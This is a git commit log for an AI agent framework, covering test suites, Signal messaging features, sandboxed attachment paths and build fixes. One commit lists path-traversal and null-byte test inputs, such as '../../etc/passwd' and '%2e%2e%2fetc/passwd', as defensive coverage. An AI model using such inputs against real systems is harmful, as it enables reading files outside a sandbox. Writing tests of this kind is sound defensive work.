P1 test coverage: config round-trip (settings + bootstrap), shell tool
arg handling, safety adversarial tests (sanitizer, leak detector,
allowlist), turn persistence (conversations, metadata, pagination, jobs),
and a clippy fix for libsql-only builds.

Fixed a real bug where AhoCorasick non-overlapping prefix iteration
caused shorter prefixes (e.g. "sk-") to shadow longer ones
(e.g. "sk-ant-api"), preventing Anthropic API key and SSH private key
detection.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* Add P2 automated QA tests: chaos, lifecycle, collision, and recovery

Cover all P2 items from the automated QA plan:
- Circuit breaker chaos tests (hanging provider, rapid cycles, mixed errors)
- Failover chaos tests (hanging failover, all-fail, tools path, single provider)
- Value estimator boundary tests (negative cost, zero price, zero earnings)
- Context length recovery test (ContextLengthExceeded -> compact -> retry)
- WASM channel lifecycle tests (write/commit/read round-trip, namespace isolation)
- Extension registry collision tests (same-name different-kind coexistence)
- Extension filesystem collision tests (separate dirs, detect_kind priority)

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* Add P3 concurrent stress tests for ContextManager and SessionManager

Tests verify thread safety of double-checked locking, TOCTOU
prevention, and RwLock-based concurrent access patterns under load.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* Add dispatcher loop guard and self-repair stuck job tests

Dispatcher: test force_text mechanism prevents infinite tool call loops,
verify iteration bound arithmetic guarantees termination for all configs.

Self-repair: test stuck job detection, recovery within attempt limits,
manual escalation when limit exceeded, graceful degradation without
store/builder dependencies.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* Add E2E testing infrastructure design doc

Python + Playwright framework with mock LLM server for deterministic
browser-level testing of the web gateway. Covers connection/auth,
chat round-trip with SSE streaming, and skills lifecycle scenarios.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* Add E2E testing infrastructure implementation plan

10-task plan covering: scaffolding, mock LLM server, helpers,
conftest fixtures, connection/chat/skills test scenarios,
CI workflow, README, and integration run.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* scaffold: E2E test project with pyproject.toml

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* feat: E2E helpers with DOM selectors and port discovery

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* feat: mock OpenAI-compat LLM server for E2E tests

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* feat: E2E conftest with session fixtures for mock LLM and ironclaw

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* feat: E2E scenario 1 -- connection and tab navigation tests

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* feat: E2E scenario 2 -- chat message round-trip tests

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* feat: E2E scenario 3 -- skills search, install, remove tests

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* ci: add weekly E2E test workflow with Playwright

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* docs: E2E test README with setup and usage instructions

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: E2E test integration fixes from first run

- Use temp file DB instead of :memory: (libSQL :memory: doesn't persist
  tables across execute_batch)
- Fix installed skills selector: #skills-list not #installed-skills
- Add pytest-timeout to dependencies
- Improve skills install/remove test with wait_for instead of fixed sleeps

8 passed, 1 skipped (skills install depends on ClawHub availability)

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* test: add OpenAI strict-mode schema validator for all built-in tools (QA 1.1)

Add src/tools/schema_validator.rs with validate_strict_schema() that checks
tool parameter schemas against OpenAI function calling strict-mode rules:
type object at top level, required keys in properties, enum type consistency,
array items definitions, nested object recursion, and additionalProperties.

17 tests validate all 34+ built-in tool schemas across 5 test groups:
- 9 simple tools (echo, time, json, http, shell, file read/write/list/patch)
- 4 job tools (create, list, status, cancel)
- 4 skill tools (list, search, install, remove)
- 13 inline schemas for extension, routine, and complex job tools
- 4 memory tool schemas

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* test: add E2E scenarios for SSE reconnect, HTML injection, and tool approval (QA 3.3/5/6)

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: E2E test reliability for HTML injection and SSE reconnect

- HTML injection: test sanitization directly via JS injection instead of
  depending on full LLM round-trip (avoids intermittent 404 from mock)
- SSE reconnect: increase wait times for DB persistence and relax
  assertion to check total message count after history reload

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* style: cargo fmt formatting

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* test: add WASM and MCP tool schema validation tests (QA 1.1)

Extends the schema validator with representative WASM tool schemas
(weather, HTTP client, batch processor, status), MCP tool schemas
(default, file read, SQL query, strict mode), and defect detection
tests for common external schema issues (missing type, typo in
required, array without items, enum type mismatch).

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* test: add auth middleware and compaction module tests

Auth middleware (8 new tests): valid/invalid bearer tokens, query param
fallback, case sensitivity, empty tokens, whitespace handling.

Compaction module (16 new tests): truncation strategy, summarize strategy
with mock LLM, workspace fallback, format_turns helper, sequential
compactions, coherence after compaction, token decrease verification.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* test: add config round-trip integration tests (QA 1.2)

Test the full bootstrap .env lifecycle: write via the same format
as save_bootstrap_env/upsert_bootstrap_var, read back via dotenvy,
and assert values match. Covers LLM backend selection, embedding
disable flag, onboard completion flag, session token keys, multi-key
preservation across upsert, and special characters (spaces, equals,
quotes, backslashes, hashes).

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* test: add value estimator boundary tests and dispatcher loop guard (QA 4.3/4.4)

Value estimator (14 new tests): zero/negative prices, large values,
negative cost, exact margin boundaries, custom margin configuration.

Dispatcher loop guard (2 new tests): verifies the dispatch loop terminates
when all tool calls fail (regression guard for PR #252 infinite loop)
and when max iterations are reached.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* test: add failover edge cases and provider chaos tests (QA 2.6/4.1)

Failover edge cases (4 new tests): cooldown at zero nanos, half-open
failure reopens circuit, all providers fail gracefully (no panic),
single failing provider with cooldown.

Provider chaos tests (15 new tests): flakey provider with retries,
hanging provider with timeout, garbage provider, circuit breaker
trip/recover, failover chain cascading, non-transient error stops
chain, full stack integration (retry + failover + circuit breaker).

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: address PR review feedback on QA tests

- Fix Bearer auth case-sensitivity per RFC 6750 (auth.rs)
- Refactor bootstrap.rs to expose path-parameterized variants so
  config_round_trip tests call real code instead of reimplementations
- Remove deprecated event_loop fixture, use dynamic ports, minimal env,
  session-scoped browser, and wire HEADED=1 in E2E conftest
- Add cross-referencing doc comments between schema validators
- Simplify array validation logic in tool.rs
- Bump e2e.yml checkout@v4 to @v6

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* style: cargo fmt and fix clippy warning in signal.rs

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: improve E2E fixture error reporting and prevent stdin blocking

- Add --no-onboard flag to prevent wizard from blocking in CI
- Pipe /dev/null to stdin to prevent any stdin reads from hanging
- Add RUST_BACKTRACE=1 for crash diagnostics
- On server startup timeout, dump stderr to pytest output so CI
  logs show why the server failed to start

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: set session-scoped event loop for E2E async fixtures

pytest-asyncio 1.3.0 defaults asyncio_default_fixture_loop_scope to
None (function scope), causing session-scoped async fixtures to be
re-evaluated per test function with independent event loops. Each test
then independently attempts to start the ironclaw server, times out
at 120s, and wastes ~24 minutes of CI before the job is cancelled.

Setting asyncio_default_fixture_loop_scope = "session" ensures all
session-scoped async fixtures share a single event loop, so the server
starts once and is reused across all tests.

Also adds -x flag to pytest in CI to stop on first failure instead of
running all 19 tests when the fixture is broken.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: set test loop scope to session to match fixture loop scope

With asyncio_default_fixture_loop_scope=session but
asyncio_default_test_loop_scope=function (the default), tests run on
a per-function event loop while fixtures produce objects (Playwright
pages, browser contexts) on the session event loop. This event loop
mismatch causes the test to hang indefinitely awaiting Playwright
operations that are bound to the wrong loop.

Setting both scopes to "session" ensures a single event loop is shared
across all fixtures and tests, eliminating the deadlock.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* ci: add roll-up jobs to match branch protection required checks

Branch protection expects "Code Style (fmt + clippy)" and "Run Tests"
status checks, but only individual job names were reported. Add
roll-up jobs that aggregate results and report the expected names.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-02-27 09:09:45 +04:00
e8eb4ca0bd fix: prevent duplicate WASM channel activation on startup (#390)
Register boot-loaded WASM channel names with the extension manager via
set_active_channels() before set_channel_runtime() so the dedup guard
in activate_wasm_channel() is armed before the activation path becomes
available. This fixes 409 Conflict errors from the Telegram API caused
by two concurrent getUpdates polling loops.

Also fix pre-existing clippy warning in signal.rs test.

Co-authored-by: Claude Opus 4.6 (1M context) <[email protected]>
2026-02-27 07:54:01 +04:00
ibhagwanandGitHub bf35b59222 feat(signal) attachment upload + message tool (#375)
* feat(channels/signal): add attachment upload support

- Add attachments field to OutgoingResponse for carrying file paths
- Add with_attachments() builder method to OutgoingResponse
- Update build_rpc_params() to include attachments array in JSON-RPC
- Update respond() and broadcast() to handle attachments:
  - Text + attachments: sends text first, then each attachment
  - Attachments only: sends each attachment with path as message
  - Text only: original behavior (no change)
- Add tests for build_rpc_params with attachments
- Add tests for OutgoingResponse attachment builder

This enables the Signal channel to send files via signal-cli daemon's
JSON-RPC send method, matching the nullclaw implementation.

Risk: Low - uses existing JSON-RPC infrastructure
Tests: 85 signal tests pass, 1543 lib tests pass

* feat(tools): add message tool for cross-channel messaging

Add a new 'message' tool that allows the agent to send messages to
any connected channel (signal, telegram, slack, etc.) with optional
file attachments.

Features:
- Send messages to specific channel + target combinations
- Support for attachments (file paths)
- E.164 validation delegated to channel (signal expects +number,
  telegram accepts username/chat_id, slack uses #channels)
- Helpful error messages showing available channels on failure

Tool schema:
- content: message text (required)
- channel: target channel name (optional, defaults to current channel)
- target: recipient (E.164, group ID, chat ID) (optional, defaults to
  current user/group chat)
- attachments: optional file paths to send

This complements the recently added attachment upload support for the
Signal channel by giving the agent a proper way to specify attachments
when sending messages.

Tests: 4 new tests for message tool schema
Risk: Low - new tool with no breaking changes
Tests: All 1547 lib tests pass, clippy clean

* feat(llm): add conversation context to system prompt for Signal

Add conversation_context HashMap to Reasoning struct to pass channel-specific
metadata (sender phone, sender UUID, group ID) to the LLM. This helps the
agent know who/group it's talking to, preventing it from hallucinating
phone numbers or sending to wrong recipients.

Changes:
- Add conversation_context field and with_conversation_data() builder method
- Add build_conversation_section() to include current conversation info in system prompt
- Update dispatcher to extract Signal metadata (sender, sender_uuid, group) and pass to Reasoning
- Add signal_sender_uuid to Signal channel metadata for privacy mode users

* feat(tools): add secure attachment path validation with sandbox enforcement

Implement robust path validation for message tool attachments to prevent
directory traversal attacks and unauthorized file access. Attachments are
now sandboxed to ~/.ironclaw/ by default.

Key changes:
- Create shared path_utils module with validate_path() and is_path_safe_basic()
- Extract normalize_lexical() from file.rs for reuse
- MessageTool now enforces sandbox at ~/.ironclaw/ for all attachments
- Path validation includes: traversal detection, canonicalization, symlink resolution
- Error messages reveal the allowed sandbox directory for user clarity

Security improvements:
- Blocks path traversal attacks (../, URL-encoded, null bytes)
- Canonicalizes paths to resolve symlinks before validation
- Walks up to nearest existing ancestor for non-existent paths
- Prevents escape from sandbox directory

Backward compatibility:
- File tools continue to work with their configured base_dir
- Message tool defaults to ~/.ironclaw/ sandbox
- Tests updated to create files within sandbox

Tests added:
- path_utils module tests (9 tests for validation logic)
- message tool attachment validation tests
- All 1571 existing tests pass

* fix(channels/signal): use robust path validation with full security coverage

Signal channel's validate_attachment_paths() now uses path_utils::validate_path()
for consistent, secure path validation.

Fixes:
- Replaced weak path.contains('..') check with robust validate_path()
- validate_path() now includes is_path_safe_basic() as first-pass filter to
  block null bytes and URL-encoded traversal sequences (%2e%2e%2f)
- Error message now shows allowed sandbox directory (~/.ironclaw/)

Security coverage:
- Path traversal: ../, foo/../bar, ../../etc/passwd ✓
- URL-encoded traversal: %2e%2e%2fetc/passwd ✓
- Null byte injection: file\0.txt ✓
- Paths outside sandbox: /tmp/evil.txt ✓
- Symlink escape attempts (via canonicalization) ✓

Tests added:
- validate_attachment_paths_rejects_path_outside_sandbox
- validate_attachment_paths_rejects_url_encoded_traversal
- validate_attachment_paths_rejects_null_byte
- Fixed broken assertion in rejects_double_dot test

* fix(llm): add Signal channel to build_channel_section to include message tool hint

The catch-all '_' arm was returning early before the message_tool_hint
section was constructed, which meant Signal users never got the
'## Proactive Messaging' section with examples for:
- Using attachments parameter
- Targeting different users/groups
- Cross-channel messaging

Now Signal will include the full message_tool_hint section with usage examples.

* fix(tools): use async locks in register_message_tools to prevent silent failures

The method was using register_sync which calls try_write() on self.tools.
If the lock was held, try_write() would return Err and silently skip
adding the tool to the registry, while self.message_tool already held
a reference. This creates an inconsistent state.

Fix: use async write locks directly instead of register_sync to ensure
the tool is always registered or the method fails explicitly.

* refactor(dispatcher): use Channel trait for conversation context

Replace hardcoded 'if message.channel == signal' block with generic
conversation_context() method on the Channel trait. This allows any
channel to provide context (sender, group, etc.) without hardcoding
channel names.

Changes:
- Add conversation_context() method to Channel trait (default: empty)
- Implement for SignalChannel: extracts sender, sender_uuid, group
- Add get_channel() to ChannelManager (returns Arc<dyn Channel>)
- Change ChannelManager storage from Box to Arc for shared access
- Update dispatcher to use new trait method
- Add tests for conversation_context extraction

Other channels (Telegram, Slack, Discord) can now implement this
method to provide conversation context without code changes in dispatcher.

* fix(tests): split message_tool_with_attachments into sandbox and channel tests

The original test was passing for the wrong reason - it expected an error
because the channel doesn't exist, but actually failed earlier during sandbox
validation because /tmp paths are outside ~/.ironclaw/.

Split into two tests:
- message_tool_with_attachments_outside_sandbox: verifies sandbox rejection
  with explicit error message check
- message_tool_with_attachments_inside_sandbox_no_channel: uses files within
  sandbox (like message_tool_passes_attachment_to_broadcast does) and verifies
  the channel-related error message

* security(message tool): add rate limiting, approval requirements, and audit logging

The message tool can send to ANY connected channel/target making it a significant
abuse vector if the LLM is compromised or prompt-injected. This commit adds:

1. Rate limiting: 10 messages/minute, 100/hour per user
2. Approval requirement: Always requires approval for cross-channel messages
   (when channel differs from the default conversation channel)
3. Audit logging: Every successful message send is logged with channel,
   target, and attachment count

The approval logic:
- If channel param is provided and differs from default -> Always require approval
- If no default channel is set and explicit channel provided -> Always require approval
- Otherwise (using default channel) -> UnlessAutoApproved

* fix(message tool): return explicit error for malformed attachments array

Previously, malformed attachments like {"attachments": [123, true]} would be
silently ignored via .ok().unwrap_or_default(), leaving users confused
when attachments weren't sent.

Now returns explicit error: "Invalid attachments format: ..."

* fix(message tool): verify attachment files exist before sending

Previously, non-existent paths would pass sandbox validation and surface
as confusing Signal RPC errors. Now returns clear "Attachment file not found" error.

* fix(test): create sandbox directory if it doesn't exist for CI

The test validate_attachment_paths_accepts_normal_paths uses
tempfile::tempdir_in() which requires the parent directory to exist.
In CI, ~/.ironclaw doesn't exist, causing test failure.
2026-02-26 18:06:21 +04:00
github-actions[bot]GitHubgithub-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
1156884a49 chore: release v0.12.0 (#331)
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-02-26 12:12:58 +04:00
996c6a8cc9 feat(web): improve WASM channel setup flow (#380)
* feat(web): improve WASM channel setup flow with stepper UI and auto-configure

Streamline the WASM channel setup experience in the web gateway:

- Auto-open configure modal after installing a WASM channel
- Add progress stepper (Installed → Configured → Active) on channel cards
- Replace generic Activate button with state-specific actions (Setup, Reconfigure, Restart)
- Show "Awaiting Pairing" status for Telegram until first user is paired
- Add SSE extension_status events for real-time status updates
- Add gateway restart endpoint (POST /api/gateway/restart) with idempotency guard
- Always mount webhook routes at startup so hot-added channels work without restart
- Add pairing request polling (10s interval) on extensions tab
- Track activation errors per channel with inline error display

Includes review fixes: activation_error priority over active status, stepper
failed state rendering, restart poll timeout, configure modal double-submit
guard, and SSE sender ordering constraint documentation.

Co-Authored-By: Claude Opus 4.6 (1M context) <[email protected]>

* refactor: address PR review comments

- Move PairingStore construction outside .map() loop
- Extract createReconfigureButton() helper to reduce duplication

Co-Authored-By: Claude Opus 4.6 (1M context) <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 (1M context) <[email protected]>
2026-02-25 22:27:13 -08:00
abda94d44f fix: correct MCP registry URLs and remove non-existent Google endpoints (#370)
Audit all built-in MCP server URLs against live endpoints. Fix 5 broken
paths (Linear, Sentry, Cloudflare, Asana, Intercom), fix 1 broken host
(GitHub), and remove 2 entries (Google Drive, Google Calendar) whose
domain mcp.google.com does not exist and Google has no official remote
MCP servers for these products.

Co-authored-by: Claude Opus 4.6 (1M context) <[email protected]>
2026-02-26 00:04:39 +00:00
443b120272 feat(web): inline tool activity cards with auto-collapsing (#376)
* feat(web): inline tool activity cards with auto-collapsing

Add Claude/Codex-style inline tool activity cards to the web UI that
show tool execution progress directly in the chat conversation.

While processing:
- Animated thinking dots with message text (e.g. "Calling LLM...")
- Individual tool cards with live spinner and elapsed timer
- Cards show tool name, duration, and expandable output preview

After response arrives:
- Activity group auto-collapses to "Used N tools (Xs)"
- Click summary to expand and see individual tool cards
- Click card header to see tool output in monospace

Also includes:
- "Calling LLM..." thinking status from dispatcher (all channels)
- 5-minute max timer guard to prevent leaks on dropped SSE
- Handles parallel tools, same tool twice, failures, thread switching

Co-Authored-By: Claude Opus 4.6 (1M context) <[email protected]>

* fix(web): use frozen duration for completed tools in activity summary

The collapsed activity summary was showing inflated total duration
because finalizeActivityGroup() recalculated elapsed time from
Date.now() for already-completed tools. Now each tool card stores
its final duration at completion time and the summary uses that
frozen value instead.

Co-Authored-By: Claude Opus 4.6 (1M context) <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 (1M context) <[email protected]>
2026-02-25 16:01:35 -08:00
2477923af2 fix: resolve_thread adopts existing session threads by UUID (#377)
* fix: resolve_thread adopts existing session threads by UUID

When chat_new_thread_handler creates a thread directly in the session,
it doesn't register a thread_map entry. On the first message,
resolve_thread would create a duplicate thread with a different UUID,
causing:

- Thread appears empty when switching back (loadHistory queries the
  original UUID but turns live on the duplicate)
- Orphaned tabs in the thread list (both the original and duplicate
  appear)

Fix: before creating a new thread, check if the external_thread_id is
itself a UUID that exists as a thread in the session. If so, adopt it
and register the mapping. A mapped_elsewhere guard preserves channel
scope isolation.

Co-Authored-By: Claude Opus 4.6 (1M context) <[email protected]>

* fix: double-checked locking in resolve_thread UUID adoption

Re-check mapped_elsewhere after acquiring the write lock to prevent
a TOCTOU race where another task could map the same UUID between
the read lock check and write lock insertion, breaking channel
isolation.

Co-Authored-By: Claude Opus 4.6 (1M context) <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 (1M context) <[email protected]>
2026-02-25 16:01:10 -08:00
0c5f082d16 feat(web): display logs newest-first in web gateway UI (#369)
Reverse log display order so the most recent entries appear at the top,
removing the need to scroll to see latest activity.

Frontend: rename appendLogEntry to prependLogEntry, use prepend() for
DOM insertion, cap oldest entries from the bottom, and auto-scroll to
top. Backend: update recent_entries() doc comment to clarify the
oldest-first return order works correctly with the frontend's prepend.

Co-authored-by: Claude Opus 4.6 (1M context) <[email protected]>
2026-02-25 16:00:09 -08:00
db2ba424ce Add --version flag with clap built-in support and test (#342)
Co-authored-by: firat.sertgoz <[email protected]>
2026-02-25 17:25:07 +04:00
ibhagwanandGitHub e41b282868 feat(signal): tool approval workflow and status updates (#350)
* fix(signal): send approval prompts to users

The Signal channel was not handling StatusUpdate::ApprovalNeeded,
causing approval requests to be silently ignored and users to
never see approval prompts.

This adds proper handling of ApprovalNeeded status that sends
a formatted message to the user with:
- Tool name and description
- Parameters (formatted as JSON)
- Request ID for reference
- Instructions on how to approve/deny/always-approve

The message uses Signal's markdown-style formatting for better
readability on mobile devices.

* feat(signal): add missing StatusUpdate handlers

Add handling for all StatusUpdate variants in Signal channel,
bringing it on par with Telegram's implementation:

- ToolStarted: Shows spinner icon when tool execution begins
- ToolCompleted: Shows checkmark/X based on success/failure
- JobStarted: Shows sandbox job start with ID and URL
- AuthRequired: Shows auth prompt with instructions and URLs
- AuthCompleted: Shows auth success/failure with optional message

This ensures Signal status feedback users receive full during
tool execution, approvals, and authentication flows, matching
the experience of Telegram and other channels.

fix(signal): address clippy warnings and improve error handling

- Collapse nested if statements into let-chains
- Fix needless borrow on Status message
- Extract send_status_message helper to reduce duplication
- Add warning logs for failed message sends

* fix(signal): suppress 'Done' status messages to user

* feat(signal): debug mode parity with REPL

- Add debug_mode to SignalChannel toggled via /debug command
- Gate ToolResult, ToolStarted, ToolCompleted behind debug mode
- Add tests: debug_mode_disabled_by_default, debug_mode_toggle, debug_mode_persists_across_toggles
2026-02-25 16:34:54 +04:00
62dc5d046e feat: add OpenRouter preset to setup wizard (#270)
* feat: add OpenRouter preset to setup wizard

Add OpenRouter as a top-level provider option in the onboarding wizard
(Step 3). Selecting it pre-fills the base URL (https://openrouter.ai/api/v1)
and prompts for an API key, avoiding manual URL entry. Under the hood it
uses the existing openai_compatible backend.

Inlines the key collection flow (rather than delegating to
setup_api_key_provider) so success messages consistently say "OpenRouter"
instead of "openai_compatible", including the early-return env-key path.

Closes #178

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: address serrrfirat review comments on OpenRouter wizard preset

- Re-run path now recognizes OpenRouter: display shows "OpenRouter"
  and keep-current routes to setup_openrouter() when base URL contains
  openrouter.ai
- Refactor setup_openrouter() to delegate to setup_api_key_provider()
  with a display_name override, eliminating ~40 lines of duplication
- Update README: remove false claim about model fetching from
  OpenRouter API, add footnote explaining shared secret/env var
  between OpenRouter and OpenAI-compatible
- Fix pre-existing clippy warning in settings.rs (field_reassign_with_default)

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-02-24 22:23:39 +04:00
DevBrocoandGitHub 4d27079cc3 Update FEATURE_PARITY.md (#337)
change status of completion 
2026-02-24 14:56:38 +04:00
e9f32eaebe fix: resolve telegram/slack name collision between tool and channel registries (#346)
When installing the Telegram WASM channel via the web UI, a name collision
between registry/tools/telegram.json and registry/channels/telegram.json
caused the tool entry to win, installing to ~/.ironclaw/tools/ instead of
~/.ironclaw/channels/. This made activation fail with "WASM runtime not
available".

- Add `get_with_kind()` to ExtensionRegistry for kind-aware lookup
- Use `kind_hint` parameter in `install()` to resolve collisions
- Rename tool entries to avoid future collisions: telegram → telegram-mtproto,
  slack → slack-tool
- Fix `_bundles.json` stale reference (tools/slack → tools/slack-tool)
- Fix `cache_discovered()` to deduplicate by (name, kind) consistently
- Add path traversal validation to install/activate/remove entry points
- Add tests for kind-aware lookup, discovery cache, and bundle resolution

Co-authored-by: Claude Opus 4.6 (1M context) <[email protected]>
2026-02-24 15:29:25 +08:00
ibhagwanandGitHub b0b3a50fa3 feat(channels): add native Signal channel via signal-cli HTTP daemon (#271)
* feat(channels): add native Signal channel via signal-cli HTTP daemon

Implement a native Rust Signal channel that connects to a running
signal-cli daemon's HTTP endpoint, enabling Signal messaging without
WASM overhead.

Architecture:
- SSE listener at /api/v1/events for receiving messages with automatic
  reconnection and exponential backoff
- JSON-RPC client at /api/v1/rpc for sending messages and typing
  indicators
- Reply target tracking via Arc<RwLock<HashMap>> to route responses
  back to the correct DM or group conversation

Features:
- User allowlisting supporting E.164 phone numbers, bare UUIDs, and
  uuid:-prefixed identifiers (matching OpenClaw's format)
- Group allowlisting with wildcard (*) support
- Configurable story and attachment-only message filtering
- Health check via signal-cli /api/v1/check
- Broadcast support to all tracked reply targets

Configuration via environment variables:
- SIGNAL_HTTP_URL, SIGNAL_ACCOUNT (required)
- SIGNAL_ALLOWED_USERS, SIGNAL_ALLOWED_GROUPS
- SIGNAL_IGNORE_ATTACHMENTS (default: false)
- SIGNAL_IGNORE_STORIES (default: true)

Includes unit tests covering allowlist logic, envelope parsing,
recipient targeting, SSE deserialization, and edge cases.

* refactor(signal): remove expect|unwrap calls

- Change SignalChannel::new to return Result<Self, ChannelError>
- Replace .expect() on reqwest client build with proper error handling
- Replace .expect() on NonZeroUsize with compile-time const using unsafe new_unchecked
- Propagate errors through test helpers to avoid unwraps in tests

* fix(signal): prevent OOM from chunked response without Content-Length

Use bytes_stream() to check response size during download rather than
buffering entire body first. This closes the OOM vector where a
malicious signal-cli daemon could send unbounded chunked data.

* fix(signal): align is_e164 minimum digits with setup wizard

Both now require 7-15 digits after '+', preventing environment
variable bypass of the stricter onboarding validation.

* refactor(signal): extract from_parts constructor

Extract SignalChannel::from_parts() used by both new() and
sse_listener() to ensure consistent object construction.

* chore: remove redundant unused var

* refactor(signal): rename allowed_users to allow_from and add dm_policy/group_policy

- Rename allowed_users -> allow_from for consistency with other channels
- Rename allowed_groups -> allow_from_groups
- Add dm_policy field: 'open', 'allowlist', or 'pairing' (default: 'pairing')
- Add group_policy field: 'allowlist', 'open', or 'disabled' (default: 'allowlist')
- Add group_allow_from field that inherits from allow_from if empty
- Implement dm_policy and group_policy logic in message processing
- Add environment variable resolution: SIGNAL_ALLOW_FROM, SIGNAL_ALLOW_FROM_GROUPS,
  SIGNAL_DM_POLICY, SIGNAL_GROUP_POLICY, SIGNAL_GROUP_ALLOW_FROM
- Add setup wizard prompts for new policy options
- Note: full pairing flow (PairingStore integration) marked as pending for future PR

* feat(signal): implement DM pairing workflow for unapproved senders

- Add PairingStore integration to check approved senders
- Handle pairing requests for unknown senders with dm_policy=pairing
- Send pairing reply message with approval instructions
- Update FEATURE_PARITY.md to reflect DM pairing support

* chore(ci): fix clippy warnings
2026-02-24 10:25:16 +04:00
3e552e0e8e fix: make onboarding installs prefer release artifacts with source fallback (#323)
* fix: make onboarding installs prefer release artifacts with source fallback

* fix: harden extension fallback errors and surface setup warnings

* fix: validate registry artifacts and harden fallback errors

* fix: address review feedback on installer fallback

- Add upfront validate_manifest_install_inputs() in
  install_with_source_fallback so bad manifests fail fast without
  relying on inner methods to catch them
- Document ALLOWED_ARTIFACT_HOSTS as GitHub-only by design
- Document intentional url omission from DownloadFailed Display
- Add channel manifest validation tests (wrong prefix rejected,
  correct prefix accepted)

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: require SHA256 checksum for artifact downloads

Reject artifact installs when the manifest has sha256: null instead of
warning and proceeding. This prevents installing unverified pre-built
binaries during onboarding. The check runs before downloading to avoid
wasting bandwidth.

Since InvalidManifest blocks source fallback, manifests with URLs but
no checksums will hard-fail rather than silently falling back to source
build — forcing the manifest to be fixed.

The release CI already computes SHA256 for each bundle; the manifests
just need to be populated with the actual values.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: enforce SHA256 checksums and auto-patch manifests in CI

- Fix cargo fmt on SHA256 check code
- Reorder release CI: build WASM extensions before binary so manifests
  can be patched with computed SHA256 before build.rs embeds them
- Add "Patch manifests with WASM checksums" step in build-local-artifacts
  that reads checksums.txt and updates registry JSON files before building
- Add update-registry-checksums job that commits patched manifests back
  to main after release, keeping the repo in sync with released artifacts

This closes the integrity gap where all manifests had sha256: null and
artifact downloads were unverified. The binary now embeds correct SHA256
values and the installer hard-rejects null checksums.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
Co-authored-by: Bowen Wang <[email protected]>
2026-02-23 18:49:18 +00:00
cbf5c93578 fix: copy missing files in Dockerfile to fix build (#322)
* fix: copy missing files in Dockerfile to fix build

The Docker build failed because Cargo.toml references files that were
not copied into the builder stage:

1. tests/html_to_markdown.rs — declared as [[test]] in Cargo.toml,
   Cargo validates the path exists even when only building a binary.
2. build.rs — auto-discovered build script that embeds registry
   manifests at compile time via include_str!(env!("OUT_DIR")).
3. registry/ — contains extension manifests read by build.rs to
   generate the embedded catalog.

Added COPY directives for build.rs, tests/, and registry/.

Fixes nearai/ironclaw#320

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* Address serrrfirat review feedback on WASM channel omission

- Add Dockerfile comment documenting that channels-src/ is intentionally
  omitted since WASM compilation requires wasm32-wasip2 and wasm-tools
  which are not installed in the builder stage

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* Add WASM channel compilation support to Docker build

- Copy channels-src/ into builder stage for Telegram/Slack/Discord/WhatsApp
- Install wasm32-wasip2 target and wasm-tools so build.rs can compile
  WASM channel components instead of silently skipping them

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-02-23 22:37:52 +04:00
Rui ChenandGitHub 0d9b6f3208 docs: add brew install ironclaw instructions (#310)
Signed-off-by: Rui Chen <[email protected]>
2026-02-23 18:04:57 +00:00
4e2dd76ae5 Fix skills system: enable by default, fix registry and install (#300)
* feat: add Docker detection module with platform guidance

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* feat: add Docker sandbox step to setup wizard

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* feat: show Docker status in boot screen

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* feat: check Docker availability at startup

When SANDBOX_ENABLED=true, proactively detect whether Docker is
installed and running before creating the ContainerJobManager.
If Docker is unavailable, log a warning with platform-specific
guidance and disable the sandbox for the session.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* feat: enable sandbox by default, improve wizard explanation, document detection limits

- SandboxConfig defaults to enabled=true (startup check disables
  gracefully if Docker is unavailable)
- Wizard step explains why Docker matters: isolation for LLM-generated
  code vs running directly on the host
- Document detection confidence per platform in detect.rs module docs:
  high on macOS/Linux, medium on Windows (named pipe edge cases)

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: cargo fmt + update test_builder_defaults for enabled-by-default

